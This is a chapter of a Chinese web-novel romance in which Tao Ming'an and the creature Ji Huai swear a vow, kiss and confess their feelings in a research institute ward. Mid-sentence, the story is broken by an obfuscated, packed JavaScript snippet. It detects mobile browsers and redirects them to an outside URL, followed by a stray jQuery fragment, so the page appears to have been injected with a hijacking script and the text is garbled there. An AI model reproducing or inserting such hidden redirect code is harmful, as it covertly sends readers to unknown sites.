很可爱,但是——
陶明安抿起嘴,沉着一口气,尽量做出一副严肃的表情。
于是季槐也不说话了,他缀在陶明安的衣角,老老实实地跟在她身后。
回到监护室,陶明安在椅子上坐下,季槐将她的包放到一旁后走到她面前坐立,手爪试探性地伸出,碰了碰陶明安搭在膝盖上的手。
她没有动。
那就是同意了。
如此,他就非常自然地将她的手包裹进他的手心。
手还没有捂热,他就冷不丁地听见她说了一句:“我那天不是说了,你不要碰我,我也不要碰你了吗?”
啊。
这样吗?
季槐的手瑟缩了一下,但又马上握紧了她的手,认真道:“不是的,你说的是,是因为我不在乎我自己,我不爱惜我自己。但现在不同了,这次是不一样的。”
“怎么个不一样?”陶明安反问。
季槐没再辩解,他在她面前温顺地卧下,将柔软的肚腹展现在她面前,然后他牵起她的手,指引着她把手放在他的胸口上。
隔着银白色的长毛和热乎乎的身体,陶明安感觉到一颗心脏在她的手心之下剧烈地跳动着,它不断兴奋地撞击她的手,带着她的心跳都要开始加速了。
【我向你起誓——】
她听见古老的语言在季槐口中流动,他灿烂的金眸闪烁,仿佛夏日里最耀阳的阳光:【——我将珍视你所珍视的,我不再随意置自己于危险之中,我也不会轻易让自己受伤。】
话音刚落,陶明安便感觉到有一枚成熟的果实从树梢坠落,它划过高空落到水面,荡起层层波纹。
陶明安保持着半伏在地的动作,季槐的心脏在她手下怦怦跳动,起誓的人明明不是她,可她自己却轻颤个不停。
这是一种似曾相识的感觉。
她在白民国感受过,在季槐的宫室感受过,而这一刻,她在研究院又感受了一次。
尽管因不在山海世界而显得有些许微弱,但那种来自心灵深处的震荡感仍使陶明安说不出一句话。
【我……我……】
陶明安低头重重喘了两下,又抬起头看向季槐,她张了张嘴,一滴泪却先掉了下来。
这是真的。
他说的是真的。
这并不是指季槐之前答应过她的话都是虚假的,都是在敷衍她。
只是,他之前或许记得自己答应过陶明安不会随意让自己受伤,然而在关键时刻他总会冲动上头、不管不顾,将保证抛之脑后。
那些可避免的,反复发生的伤,实际来自于他对自己的不在乎。
可这一次不一样。
这一次,季槐是真正认识到了,“保证”或者“誓言”不再只是当下的感情表达和意愿,而象征着他往后每一次行动时,总有一道无声的警醒提示他,敲打他。
爱是不让对方受伤,同时也是承担不让对方因自己受伤而痛苦忧虑的责任。
陶明安撑在地板上的手臂开始颤抖,她深深地望着季槐的双眼,时间仿佛都要在这一眼中凝固。
最终,她像是再也支撑不住自己似的弯下手臂,放任自己落入季槐的怀中。
【我知道……我知道了。】
她的一只手还夹在自己与季槐的身体之间,另一只手就已经迫不及待地抱住了他的脑袋。
她抚摸他的头发,五指插//入发间,按揉他的头皮,她顺着尖角的走势摩挲,她的眼泪落入他的颈窝,眼神则在他脸上流连。
她拥抱着他,脸贴着他,温情在亲密无间的触碰中发酵,热情的火焰也在悄悄燃烧。
陶明安微微支起身子,将压在身体之间的手抽了出来,她双手捧着季槐的脸,眼神在他的脸上微微游移了一下。
最后她垂下眼帘,嘴唇在季槐的额头上轻轻触碰了一下。
季槐呆住了。
他保持着一个姿势不动实在是太久,久到陶明安心中的羞涩都将要消散干净,他还是瞪着两双眼睛愣愣地瞧着她。
“怎么了?傻掉了?”
陶明安觉得好笑,她戳了戳季槐的脸颊,问道。
这一戳,似乎将季槐从睡梦中戳醒了,他抱住陶明安的双臂骤然收紧,腰部一个发力,将两人的位置调转过来。
他压了下来,将两人之间最后一丝空间都压缩干净。
季槐的额头抵着陶明安的额头,他的鼻尖碰着她的鼻尖,陶明安被他压着躺在保暖垫上,整个人就像陷入了一大团云之中。
【怎么了?】
她用季槐说的语言柔柔地问他,右手食指轻轻地描摹着季槐的眉毛。
痒痒的。
眉毛痒痒的,心也痒痒的。
季槐的眼睛一错不错地盯着陶明安,他想问她刚刚了什么、是什么意思,但他喉头发紧,嘴唇粘连在一起,什么也说不出来了。
他只能学着她的样子,眼神黏着她,嘴唇慢慢地靠近,在脸颊上轻轻地、反复地触碰。
只是,碰着碰着,他就忍不住加大了力道,双唇微微张开,在陶明安脸侧的小痣上来回吮吻。
湿湿的,热热的。
“……哎呀,你干嘛呢?”
陶明安脸颊发烫,她稍稍偏了一下头,双手推了推季槐的肩膀。
季槐的嘴唇还贴在陶明安的脸颊上,因此说起话来含含糊糊的。
他说:“那你在干嘛呢?”
他抱着她,头也不住地蹭她,问题一个接一个冒了出来:“你刚刚是在亲我吗?是在亲我吧?亲我是什么意思呢?手机里的人都说,亲吻的意义重大,只有玩//弄别人的人才会随便亲人。你是要玩//弄我吗?”
陶明安睨他,又忍不住笑了。
她反问他:“我不能玩//弄你吗?”
“……”季槐哽了一哽,马上妥协了,继而提出要求,“好吧,那你能不能只玩我一个?”
这一回,到陶明安说不出话了。
她看着季槐可怜兮兮的样子,怀疑他是故意这么说的。
沉默了半天,陶明安才幽幽地叹了一口气,她又亲了亲季槐的脸颊,认真地说:“不玩你,只喜欢你。”
真的吗?
她说喜欢我?
季槐听觉灵敏,他能听见好几公里外风吹拂树梢的哗哗声,也能分辨出不同种类的鸟飞翔振翅时空气被划破的差异,更不用提整个研究院仪器运作的震动和每一个员工步履匆匆的声音。
但在这一瞬,季槐仿佛失去了听觉,耳边只余嗡鸣不停。
他怀疑刚刚陶明安说的话只是蜚蠊毒刺造成的幻觉,而现实里,她只是说要“玩//弄”他。
如果她愿意只玩//弄他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970945|172586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那他也十分高兴。
可是,如果是真的呢?
季槐忍不住幻想,如果陶明安刚刚真的说了喜欢他,而他却误以为是幻觉,岂不是损失巨大?
“能不能……能不能再说一遍?”
像怕从美梦中惊醒,他又轻轻地问她。
“说什么?刚刚不是说过了吗?”陶明安只当他在撒娇,手指从他的眉梢滑到鼻尖,轻轻地点了两下,见他急了起来才说道,“喜欢你,不玩你。听到了吗?喜欢你,我喜欢你。”
说到最后,她的耳根也发起烫来。
她抽了一下他的胳膊,有些恼怒道:“你是不是故意的?”
却没想到这一抽,把季槐抽倒了。
季槐只觉得心脏跳动的声音前所未有的响,频率也前所未有的快,仿佛要冲出他的喉咙——不是他要将心脏呕了出来,而是心脏快乐到要跑出来了。
我是不是要死了?他幸福地想。
陶明安的话就像洪流,将他冲垮了,于是,季槐像山一样倾颓下来,重重地压在陶明安身上。
我要完蛋了。
他想,我竟然真的获得了她的喜爱,我要一辈子都离不开她了。
猝不及防被压在雪山下的陶明安咳嗽了几声,她重重地拍了几下季槐的手臂:“……快,快!我要被压死了。”
季槐这才反应过来,急忙向一旁倒去。
可是这样就离陶明安很远了——隔了足足有小半个手臂的距离,真的很远了。
季槐接受不了异地恋,于是又连忙把陶明安捞起来抱在怀里。
他不住地晃她,嘴唇不断地摩挲她;他的喉咙深处不断发出“咕噜咕噜”愉快的叫声,瞳孔也极度兴奋地收缩着。
好爱你。
好喜欢你。
他不断念叨,直到清透的月光从窗外飞了进来,将室内都覆上了一层轻盈的水膜,陶明安这才意识到时间已经很晚了。
她挣扎着坐起来,又废了好大劲儿才将季槐从身上撕下来。
陶明安重重地呼出一口气,拿起挎包,在季槐依依不舍的目光中,她捧着他的脸,又亲了一下他另一边脸颊,笑道:“好啦,我要回家啦。嗯?别那么不开心嘛,明早就来看你。”
“好吧,”季槐很是留恋,他又尽力争取了一下,“这么快就要异地恋了吗?”
“傻瓜!”
陶明安笑出声,她又摸了摸季槐的手,这才离开了监护室。
走出研究院,清亮的月光地落在了她身上。
陶明安向前跑了两步,突然一回头,往上一看正瞧见季槐从窗户边缘探出来的脑袋。
这家伙!
陶明安在心里嗔怪了两句,还是忍不住对季槐无声做了一个大大的口型:快——去——休——息——
说完,她便转过身,快乐地奔向月色里。
看到陶明安的身影消失在马路的拐角,季槐这才慢吞吞地离开了窗台。
他走到陶明安刚刚躺过的位置躺下,头埋进保暖垫里深吸了几口气,现在,鼻腔里都是她的味道了。
好开心。
好寂寞。
他幽幽地叹慰,手爪轻轻在脸上触摸着,在陶明安亲过的地方反复流连,好像隔了这么久,他还是能感受到她亲吻自己时的温度,就连当时的心情都愉悦地又重新体验了一回。